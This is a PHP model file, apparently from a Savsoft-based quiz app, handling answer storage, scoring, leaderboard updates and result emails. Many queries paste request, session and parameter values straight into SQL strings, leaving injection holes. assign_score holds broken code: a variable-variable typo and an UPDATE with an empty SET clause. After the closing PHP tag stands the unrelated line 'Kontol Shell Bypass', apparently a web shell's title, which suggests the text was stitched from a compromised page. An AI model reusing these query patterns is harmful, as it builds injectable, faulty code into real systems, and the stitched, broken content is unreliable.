	function get_basic_detail($quid, $user_id){
		//$db2 = $this->load->database('readerdb', TRUE);
		$query=$this->db->query("select * from quiz_basic_details  where qid='$quid' AND user_id='$user_id' AND status='1' AND is_deleted='0'"); 
		$result = $query->row_array(); 
		if($result['full_name']!='' && $result['school_id']!='' && $result['department_id']!='') {
			return true;
		} else {
			return false;
		}
	}
  function assign_score($rid,$qno,$score){
	$qp_score=$score;
	$query=$this->db->query("select * from savsoft_result join savsoft_quiz on savsoft_result.quid=savsoft_quiz.quid where savsoft_result.rid='$rid' "); 
	$quiz=$query->row_array(); 
	$score_ind=explode(',',$quiz['score_individual']);
	$score_ind[$qno]=$score;
	$r_qids=explode(',',$quiz['r_qids']);
	$correct_score=$quiz['correct_score'];
	$incorrect_score=$quiz['incorrect_score'];
	$manual_valuation=0;
	foreach($score_ind as $mk => $score){
		
		if($score == 1){
			
			$marks+=$correct_score;
		}
		if($score == 2){
			
			$marks+=$incorrect_score;
		}
		if($score == 3){
			
			$manual_valuation=1;
		}
		
	}
	$percentage_obtained=($marks/$quiz['total_quiz_questions'])*100;
	if($percentage_obtained >= $quiz['pass_percentage']){
		$qr=$this->lang->line('pass');
	}else{
		$qr=$this->lang->line('fail');
		
	}
	 $userdata=array(
	  'score_individual'=>implode(',',$score_ind),
	  'score_obtained'=>$marks,
	 'percentage_obtained'=>$percentage_obtained,
	 'manual_valuation'=>$manual_valuation
	 );
	 if($manual_valuation == 1){
		 $userdata['result_status']=$this->lang->line('pending');
	}else{
		$userdata['result_status']=$qr;
	}
	 $this->db->where('rid',$rid);
	 $this->db->update('savsoft_result',$userdata);
	 
	 // question performance
	 $qp=$r_qids[$qno];
	 		 $crin="";
		if($$qp_score=='1'){
			$crin=", no_time_corrected=(no_time_corrected +1)"; 	 
		 }else if($$qp_score=='2'){
			$crin=", no_time_incorrected=(no_time_incorrected +1)"; 	 
		 }
		  $query_qp="update savsoft_qbank set  $crin  where qid='$qp'  ";
	 $this->db->query($query_qp);
 }
 
 
 
 function submit_result(){
	$logged_in=$this->session->userdata('logged_in');
	$email=$logged_in['email'];
	$rid=$this->session->userdata('rid');
	$query=$this->db->query("select * from savsoft_result join savsoft_quiz on savsoft_result.quid=savsoft_quiz.quid where savsoft_result.rid='$rid' "); 
	$quiz=$query->row_array(); 
	$score_ind=explode(',',$quiz['score_individual']);

	$r_qids=explode(',',$quiz['r_qids']);
	$qids_perf=array();
	$marks=0;
	$correct_score=$quiz['correct_score'];
	$incorrect_score=$quiz['incorrect_score'];
	$total_time=array_sum(explode(',',$quiz['individual_time']));

	$manual_valuation=0;
	foreach($score_ind as $mk => $score){
		$qids_perf[$r_qids[$mk]]=$score;
		
		if($score == 1){
			
			$marks+=$correct_score;
			
		}
		if($score == 2){
			
			$marks+=$incorrect_score;
		}
		if($score == 3){
			
			$manual_valuation=1;
		}
		
	}
	$percentage_obtained=($marks/$quiz['total_quiz_questions'])*100;
	if($percentage_obtained >= $quiz['pass_percentage']){
		$qr=$this->lang->line('pass');
	}else{
		$qr=$this->lang->line('fail');
		
	}
	 $userdata=array(
	'total_time'=>$total_time,
	'end_time'=>time(),
	'score_obtained'=>$marks,
	'percentage_obtained'=>$percentage_obtained,
	'manual_valuation'=>$manual_valuation
	 );
	 if($manual_valuation == 1){
		 $userdata['result_status']=$this->lang->line('pending');
	}else{
		$userdata['result_status']=$qr;
	}
	 $this->db->where('rid',$rid);
	// print_r($userdata); die;
	 $this->db->update('savsoft_result',$userdata);
	 
	 // Save Result In Leaderboard
	 $this->add_leaderboard($rid);
	 
	 foreach($qids_perf as $qp => $qpval){
		 $crin="";
		 if($qpval=='0'){
			$crin=", no_time_unattempted=(no_time_unattempted +1) "; 
		 }else if($qpval=='1'){
			$crin=", no_time_corrected=(no_time_corrected +1)"; 	 
		 }else if($qpval=='2'){
			$crin=", no_time_incorrected=(no_time_incorrected +1)"; 	 
		 }
		  $mdate = date('Y-m-d H:i:s');
		  $query_qp="update savsoft_qbank set no_time_served=(no_time_served +1), mdate='$mdate' $crin  where qid='$qp'  ";
		  $this->db->query($query_qp);
		 
	 }
	 
if($this->config->item('allow_result_email')){
	$this->load->library('email');
	$query = $this -> db -> query("select savsoft_result.*,savsoft_users.*,savsoft_quiz.* from savsoft_result, savsoft_users, savsoft_quiz where savsoft_users.uid=savsoft_result.uid and savsoft_quiz.quid=savsoft_result.quid and savsoft_result.rid='$rid'");
	$qrr=$query->row_array();
  		if($this->config->item('protocol')=="smtp"){
			$config['protocol'] = 'smtp';
			$config['smtp_host'] = $this->config->item('smtp_hostname');
			$config['smtp_user'] = $this->config->item('smtp_username');
			$config['smtp_pass'] = $this->config->item('smtp_password');
			$config['smtp_port'] = $this->config->item('smtp_port');
			$config['smtp_timeout'] = $this->config->item('smtp_timeout');
			$config['mailtype'] = $this->config->item('smtp_mailtype');
			$config['starttls']  = $this->config->item('starttls');
			$config['newline']  = $this->config->item('newline');

			$this->email->initialize($config);
		}
			$toemail=$qrr['email'];
			$fromemail=$this->config->item('fromemail');
			$fromname=$this->config->item('fromname');
			$subject=$this->config->item('result_subject');
			$message=$this->config->item('result_message');
			
			$subject=str_replace('[email]',$qrr['email'],$subject);
			$subject=str_replace('[first_name]',$qrr['first_name'],$subject);
			$subject=str_replace('[last_name]',$qrr['last_name'],$subject);
			$subject=str_replace('[quiz_name]',$qrr['quiz_name'],$subject);
			$subject=str_replace('[score_obtained]',$qrr['score_obtained'],$subject);
			$subject=str_replace('[percentage_obtained]',$qrr['percentage_obtained'],$subject);
			$subject=str_replace('[current_date]',date('Y-m-d H:i:s',time()),$subject);
			$subject=str_replace('[result_status]',$qrr['result_status'],$subject);
			
			$message=str_replace('[email]',$qrr['email'],$message);
			$message=str_replace('[first_name]',$qrr['first_name'],$message);
			$message=str_replace('[last_name]',$qrr['last_name'],$message);
			$message=str_replace('[quiz_name]',$qrr['quiz_name'],$message);
			$message=str_replace('[score_obtained]',$qrr['score_obtained'],$message);
			$message=str_replace('[percentage_obtained]',$qrr['percentage_obtained'],$message);
			$message=str_replace('[current_date]',date('Y-m-d H:i:s',time()),$message);
			$message=str_replace('[result_status]',$qrr['result_status'],$message);
			$this->email->to($toemail);
			$this->email->from($fromemail, $fromname);
			$this->email->subject($subject);
			$this->email->message($message);
			if(!$this->email->send()){
			 //print_r($this->email->print_debugger());
			
			}
	}
	

	return true;
 }
 
 /*
 * function : add_leaderboard
 */
 function add_leaderboard($rid){
	$logged_in=$this->session->userdata('logged_in');
	$query = $this -> db -> query("select savsoft_result.*,savsoft_users.*,savsoft_quiz.* from savsoft_result, savsoft_users, savsoft_quiz where savsoft_users.uid=savsoft_result.uid and savsoft_quiz.quid=savsoft_result.quid and savsoft_result.rid='$rid'");
	$qrr=$query->row_array();
	$quid = $qrr['quid'];
	$uid = $qrr['uid'];
	$score_obtained = $qrr['score_obtained'];
	$percentage_obtained = $qrr['percentage_obtained'];
	$total_time = $qrr['total_time'];
	
	$query  =$this->db->query("select * from savsoft_leaderboard where uid='$uid' AND quid = '$quid'"); 
	$result  =$query->row_array();
	$userdata='';
	if(empty($result))
	{
		$userdata=array(
		'uid'=>$uid,
		'quid'=>$quid,
		'rid'=>$rid,
		'score_obtained'=>$score_obtained,
		'total_time'=>$total_time,
		'percentage_obtained'=>$percentage_obtained,
		'profile_image'=>$logged_in['profie_image'],
		'attempted_ip'=>$_SERVER['REMOTE_ADDR'],
		'createdon'=>date('Y-m-d H:i:s')
		);
	 $this->db->insert('savsoft_leaderboard',$userdata);
	// echo $this->db->last_query(); die;
	} else {
	 $userdata=array( 
		'rid'=>$rid,
		'total_time'=>$total_time,
		'score_obtained'=>$score_obtained,
		'percentage_obtained'=>$percentage_obtained,
		'attempted_ip'=>$_SERVER['REMOTE_ADDR'],
		'profile_image'=>$logged_in['profie_image'],
		'modifiedon'=>date('Y-m-d H:i:s')
	 );
	
	 $this->db->where('uid',$uid);
	 $this->db->where('quid',$quid);
	// print_r($userdata); die;
	if($score_obtained>$result['score_obtained'] && $percentage_obtained>$result['percentage_obtained']){
		$this->db->update('savsoft_leaderboard',$userdata);
	 }
	 //echo $this->db->last_query(); die;
	}
 }
 function insert_answer(){
	$rid=$_POST['rid'];
	$srid=$this->session->userdata('rid');
	$logged_in=$this->session->userdata('logged_in');
	$uid=$logged_in['uid'];
	if($srid != $rid){
		return "Something wrong";
	}
	$query=$this->db->query("select correct_score,incorrect_score,r_qids,score_individual from savsoft_result join savsoft_quiz on savsoft_result.quid=savsoft_quiz.quid where savsoft_result.rid='$rid' "); 
	$quiz=$query->row_array(); 
	$correct_score=$quiz['correct_score'];
	$incorrect_score=$quiz['incorrect_score'];
	$qids=explode(',',$quiz['r_qids']);
	$vqids=$quiz['r_qids'];
	$correct_incorrect=explode(',',$quiz['score_individual']);
	
	
	// remove existing answers
	$this->db->where('rid',$rid);
	$this->db->delete('savsoft_answers');
	
	 foreach($_POST['answer'] as $ak => $answer){
		 
		 // multiple choice single answer
		 if($_POST['question_type'][$ak] == '1' || $_POST['question_type'][$ak] == '2'){
			 
			 $qid=$qids[$ak];
			 $query=$this->db->query(" select oid,qid,q_option,q_option_match,score from savsoft_options where qid='$qid' ");
			 $options_data=$query->result_array();
			 $options=array();
			 foreach($options_data as $ok => $option){
				 $options[$option['oid']]=$option['score'];
			 }
			 $attempted=0;
			 $marks=0;
				foreach($answer as $sk => $ansval){
					if($options[$ansval] <= 0 ){
					$marks+=-1;	
					}else{
					$marks+=$options[$ansval];
					}
					$userdata=array(
					'rid'=>$rid,
					'qid'=>$qid,
					'uid'=>$uid,
					'q_option'=>$ansval,
					'score_u'=>$options[$ansval]
					);
					$this->db->insert('savsoft_answers',$userdata);
				$attempted=1;	
				}
				if($attempted==1){
					if($marks==1){
					$correct_incorrect[$ak]=1;	
					}else{
					$correct_incorrect[$ak]=2;							
					}
				}else{
					$correct_incorrect[$ak]=0;
				}
		 }
		 // short answer
		 if($_POST['question_type'][$ak] == '3'){
			 
			 $qid=$qids[$ak];
			 $query=$this->db->query(" select oid,qid,q_option,q_option_match,score from savsoft_options where qid='$qid' ");
			 $options_data=$query->row_array();
			 $options_data=explode(',',$options_data['q_option']);
			 $noptions=array();
			 foreach($options_data as $op){
				 $noptions[]=strtoupper(trim($op));
			 }
			 
			 $attempted=0;
			 $marks=0;
				foreach($answer as $sk => $ansval){
					if($ansval != ''){
					if(in_array(strtoupper(trim($ansval)),$noptions)){
					$marks=1;	
					}else{
					$marks=0;
					}
					
				$attempted=1;

					$userdata=array(
					'rid'=>$rid,
					'qid'=>$qid,
					'uid'=>$uid,
					'q_option'=>$ansval,
					'score_u'=>$marks
					);
					$this->db->insert('savsoft_answers',$userdata);

				}
				}
				if($attempted==1){
					if($marks==1){
					$correct_incorrect[$ak]=1;	
					}else{
					$correct_incorrect[$ak]=2;							
					}
				}else{
					$correct_incorrect[$ak]=0;
				}
		 }
		 
		 // long answer
		 if($_POST['question_type'][$ak] == '4'){
			  $attempted=0;
			 $marks=0;
			  $qid=$qids[$ak];
					foreach($answer as $sk => $ansval){
					if($ansval != ''){
					$userdata=array(
					'rid'=>$rid,
					'qid'=>$qid,
					'uid'=>$uid,
					'q_option'=>$ansval,
					'score_u'=>0
					);
					$this->db->insert('savsoft_answers',$userdata);
					$attempted=1;
					}
					}
				if($attempted==1){
					
					$correct_incorrect[$ak]=3;							
					
				}else{
					$correct_incorrect[$ak]=0;
				}
		 }
		 
		 // match
			 if($_POST['question_type'][$ak] == '5'){
				 			 $qid=$qids[$ak];
			 $query=$this->db->query(" select oid,qid,q_option,q_option_match,score from savsoft_options where qid='$qid' ");
			 $options_data=$query->result_array();
			$noptions=array();
			foreach($options_data as $op => $option){
				$noptions[]=$option['q_option'].'___'.$option['q_option_match'];				
			}
			 $marks=0;
			 $attempted=0;
					foreach($answer as $sk => $ansval){
						if($ansval != '0'){
						$mc=0;
						if(in_array($ansval,$noptions)){
							$marks+=1/count($options_data);
							$mc=1/count($options_data);
						}else{
							$marks+=0;
							$mc=0;
						}
					$userdata=array(
					'rid'=>$rid,
					'qid'=>$qid,
					'uid'=>$uid,
					'q_option'=>$ansval,
					'score_u'=>$mc
					);
					$this->db->insert('savsoft_answers',$userdata);
					$attempted=1;
					}
					}
					if($attempted==1){
					if($marks==1){
					$correct_incorrect[$ak]=1;	
					}else{
					$correct_incorrect[$ak]=2;							
					}
				}else{
					$correct_incorrect[$ak]=0;
				}
		 }
		
	 }
	 
	 $userdata=array(
	 'score_individual'=>implode(',',$correct_incorrect),
	 'individual_time'=>$_POST['individual_time'],
	 
	 );
	 $this->db->where('rid',$rid);
	 $this->db->update('savsoft_result',$userdata);
	 
	 return true;
	 
 }
 
 
 
 function set_ind_time(){
	 $rid=$this->session->userdata('rid');
	 $userdata=array(
		'individual_time'=>$_POST['individual_time'],
	 );
	 $this->db->where('rid',$rid);
	 $this->db->update('savsoft_result',$userdata);
	 
	 return true;
 }

	/*
	* Function validate_qregistration
	*/
	function validate_qregistration($uid = '' , $qid = '' ){
		if(!empty($uid)){
			$this->db->where('uid',$uid); 
		}
		if(!empty($qid)){
			$this->db->where('qid',$qid); 
		}
		$this->db->order_by('id','desc');
		$query=$this->db->get('savsoft_quiz_registration');
		//echo $this->db->last_query(); die;
		return $query->result_array();
	}
	
	/*
	* Function quiz_registration
	*/
	function quiz_registration($params, $tbl_name='savsoft_quiz_registration'){
		
		//validate registered or not
		$resp = $this->validate_qregistration($params['uid'],$params['qid']);
		
		if(count($resp)==0) {
			 if($params!='' && $tbl_name!='') {
				$userdata=array(
				'qid'=>$params['qid'],
				'uid'=>$params['uid'],
				'gid'=>$params['gid'],
				'admin_id'=>$params['admin_id'],
				'page_key'=>$params['page_key'],
				'visitor_ip'=>$_SERVER["REMOTE_ADDR"],
				'modified_on'=>date('Y-m-d H:i:s'),
				'created'=>date('Y-m-d H:i:s')
				); 
				if($this->db->insert($tbl_name,$userdata)){
					return true;
				}else{
					return false;
				}
			}
		}
	}
		
	function getGroupList($uid='')
	{
		if($uid!=''){
			$this->db->where('savsoft_quiz_registration.uid',$uid);
		} 
		$this->db->where('savsoft_quiz_registration.status','1');
		$this->db->where('savsoft_quiz_registration.`created` > NOW() - INTERVAL 48 HOUR');
		$query=$this->db->get('savsoft_quiz_registration');
		$gids = array();
		$result = $query->result_array();
		foreach($result as $row) {
			$gids[] = $row['gid'];
		}
		$finalGArray = implode(',',$gids);
		$gidsList = array_filter(explode(',', $finalGArray));
		return $gidsList;
	 }

	 function getGroupQuizLists($uid='', $quid='')
          {
                $this->db->where('savsoft_quiz_registration.uid',$uid);
		$this->db->where('savsoft_quiz_registration.qid',$quid);
                $query=$this->db->get('savsoft_quiz_registration');
		//echo $this->db->last_query(); die;
                $result = $query->row_array();
                $gids = $result['gid'];
                return $gids;
         }


	 function getAssignNewGroupQuiz($uid='', $gids='')
     {
			$this->db->where('savsoft_quiz_registration.uid',$uid);
			//$this->db->where('savsoft_quiz_registration.qid',$quid);
			$this->db->where_in('savsoft_quiz_registration.gid',$gids);
			$query=$this->db->get('savsoft_quiz_registration');
			//echo $this->db->last_query(); die;
			$result = $query->row_array();
			$gid = $result['gid'];
			return $gid;
    }
	
	 function getAssignNewQuiz($uid='', $quid='')
     {
			$this->db->where('savsoft_quiz_registration.uid',$uid);
			$this->db->where('savsoft_quiz_registration.qid',$quid);
			$query=$this->db->get('savsoft_quiz_registration');
			//echo $this->db->last_query(); die;
			$result = $query->row_array();
			$qid = $result['qid'];
			return $qid;
    }

	/*
	* Function generate_report
	*/
	function generate_missed_report($quizArray)
	{
		$db2 = $this->load->database('readerdb', TRUE);
		$listGids = $quizArray['gids'];
		$quid = $quizArray['quid'];
		$quizName = $quizArray['quiz_name'];
		$sql = "SELECT su.*, group_name from savsoft_users as su JOIN savsoft_group as sg ON su.gid= sg.gid WHERE su.gid IN(".$listGids.") AND su.status='1' AND verify_code='0' AND su.uid NOT IN( SELECT uid from savsoft_result Where quid='".$quid."') limit 1500"; 
		$query = $db2->query($sql); 
		//echo $db2->last_query(); die;
		return $query->result_array();
	}
	function generate_report($quid,$gid, $admin_id=''){
		$db2 = $this->load->database('readerdb', TRUE);
		$logged_in=$this->session->userdata('logged_in');
		$uid=$logged_in['uid'];
		$date1=$this->input->post('date1');
		 $date2=$this->input->post('date2');
		
		if($quid != '0'){
			$db2->where('savsoft_result.quid',$quid);
		}
		$db2->order_by('rid','desc');
		$db2->join('savsoft_users','savsoft_users.uid=savsoft_result.uid');
		$db2->join('savsoft_group','savsoft_group.gid=savsoft_users.gid');
		$db2->join('savsoft_quiz','savsoft_quiz.quid=savsoft_result.quid');
		$query=$db2->get('savsoft_result');
		//echo $db2->last_query(); die;
		return $query->result_array();
 }
 
  public function getAllRecords($tbl_name='savsoft_quiz', $col = ' * ', $condition=null, $order_by = NULL,$limit=NULL, $start=NULL)
    {   
        $this->db->select($col);
       // $this->db->where('is_deleted', '0');
		if(!empty($condition))
		{ 
			foreach($condition as $key=>$val) {
				$this->db->where($key, $val);
			}
		}
		
		if(!empty($order_by)){
			foreach($order_by as $key=>$val) {
				$this->db->order_by($key, $val);
			}
		}
		if ($limit !== null && $start !== null) {
           $query = $this->db->get($tbl_name,$limit, $start);
        } else {
			$query = $this->db->get($tbl_name);
		}
		//echo $this->db->last_query(); die;
		return $query->result_array();
    }
	
	/*
	* Function : getSingleRecord
	*/
	public function getSingleRecord($tbl_name='savsoft_quiz', $col = ' * ', $condition=null)
	{
        $this->db->select($col);
        if(!empty($condition))
		{ 
			foreach($condition as $key=>$val) {
				$this->db->where($key, $val);
			}
			
		}
		$query = $this->db->get($tbl_name);
		//echo $this->db->last_query(); die;
        return $query->row_array();
    }
	
	public function saveinfo($tbl_name='', $post)
    {
		
        $this->db->insert($tbl_name, $post);
		//echo $this->db->last_query(); die;
        return $this->db->insert_id();
    }
	
	public function updateinfo($tbl_name='', $post, $field, $value)
    {
		$this->db->where($field, $value);
        if (!$this->db->update($tbl_name, $post)) {
            log_message('error', print_r($this->db->error(), true));
        }
		//echo $this->db->last_query(); die;
	}
	
	/*
	* function getQuizAlertUserlist
	*/
	public function getQuizAlertUserlist($quid, $listGids)
	{
		
		if($quid>0){
			$query=$this->db->query("SELECT su.*, group_name from savsoft_users as su JOIN savsoft_group as sg ON su.gid= sg.gid WHERE su.gid IN(".$listGids.") AND su.status='1' AND verify_code='0' AND su.uid NOT IN( SELECT uid from savsoft_result Where quid='".$quid."') limit 1000");
			return $query->result_array();
		}
		
	}
}
?>

Kontol Shell Bypass